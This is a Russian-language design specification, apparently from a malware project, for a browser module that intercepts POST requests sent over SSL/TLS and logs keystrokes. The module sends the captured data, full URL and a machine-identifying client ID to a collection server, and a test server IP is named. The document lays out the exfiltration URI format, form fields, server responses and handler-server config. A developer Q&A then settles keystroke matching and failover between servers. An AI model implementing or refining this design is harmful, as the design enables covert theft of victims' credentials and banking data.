Тестовый сервер 188.138.1.53:8082

1 Клиентская часть должна отправлять каждый перехваченны POST-запрос, который был отправлен браузером по SSL/TLS. Помимо полного содержимого POST-запроса (с хидерами), он должен слать дополнительно полную URL запроса и лог нажатий клавиш. В случае если post не подошел по правилам или бекенд админки временно выключил инжект по данной ссылке

Полный URL извлекается из самого запроса путём склеивания содержимого хидера Host и имени документа (URI). Спереди не нужен префикс "https://"
Лог нажатий клавиш должен быть в любом приемлемо для чления человеком
2 Данные на сервер отправляются через HTTP POST-запросы.  Между сервером и клиентом может стоять сколько угодно reverse-proxy, load-balancer и  DNAT. Таким образом, нет никакого способа узнать ip-адрес клиента.
2.1 Каждый запрос содержит в URI три компонента разделённых символом "/" - тег группы, id клиента .  Каждый POST имеет URI следующего формата:
/<group-tag>/<clientid>/60/
, где group-tag - тег группы,  clientid - id клиента. 
2.1.1 Тег группы - это произвольная строка состоящая из символов (a-z) и цифр (0-9). Параметр не чувствителен к регистру.
2.1.2 Id клиента - это строка состоящая из двух компонентов разделённых точкой. Первая часть имеет формат <name>_XYYYYYYY, где name это некоторое имя которое может как-то  идентифицировать машину (имя компьюетра или имя пользователя, в зависимости от типа операционной системы), X - символ обозначающий тип системы на которой работает клиент (W -  windows, L - linux, A - андроид, M - Mac OS), YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у системы (например,  длЯ 6.1 build 7600 это будет 617600). Вторая часть содержит 32 случайных символов 0-9, A-F. Пример id клиента - QWERTY_W617600.11223344556677889900AABBCCDDEEFF. Параметр не  чувствителен к регистру.
2.2 Кадлый ответ сервера может быть со следующими HTTP-кодами: 200 и 403. Ответ 200 всегда имеет тело с содержание "/1/" (content-type: text/plain), а ответ 403 используется если прислан не POST-запрос, тело POST имеет неизвестный формат или поля, URI неизвестного формата, или clientid неправильного формата.
3 POST-запрос имеет тело в формате multipaty/form-data. И имеет следущие поля:
3.1 "data" - бинарные данные, размером до 32 КБ. Искомый POST-запрос хидеры и тело
3.2 "keys" - UTF-8 строка. Максимальная длина 1024 символа. Текст перехваченных нажатий клавиш
3.3 "link" - UTF-8 строка. Максимальная длина 4096. Строка со ссылкой Host+URI
это искомая ссылка куда слался оригинальный post

3.4 "image" - бинарные данные,  не используется
1. по логированию нажатий. Предположим я логирую все-все-превсе нажатия в броузере. Какой критерий сопоставления нажатий с отправкой поста? ведь пост может теоретически и какой-нибудь аякс-скрипт отправить. Тут нужно почетче. Либо все нажатия с предыдущей отправки. Либо нажатия за последние 2-4 минуты. Либо еще варианты.
2. тэг группы/ид клиента (в ури) - я так понимаю это те же самые, что я уже отправляю в дин.инжектах (из parentdata)?

по конфигу, пусть будет так: <dpost><handler>11.22.33.44:port</handler> <handler>....</handler></dpost>

3. еще непонятно, зачем несколько серверов должно быть в списке. По какому принципу выбирать, на какой сервер отправлять

1. Все нажатия с предыдущей отправки
2. Да 
3. выбрать случайный - если оказался убитый, взят следующий, если в конце списка - то в начало. Еси ниодин не рабочий, перестать слать на 5 минут. Потом попробовать снова случайный, если не рабочий то следующий.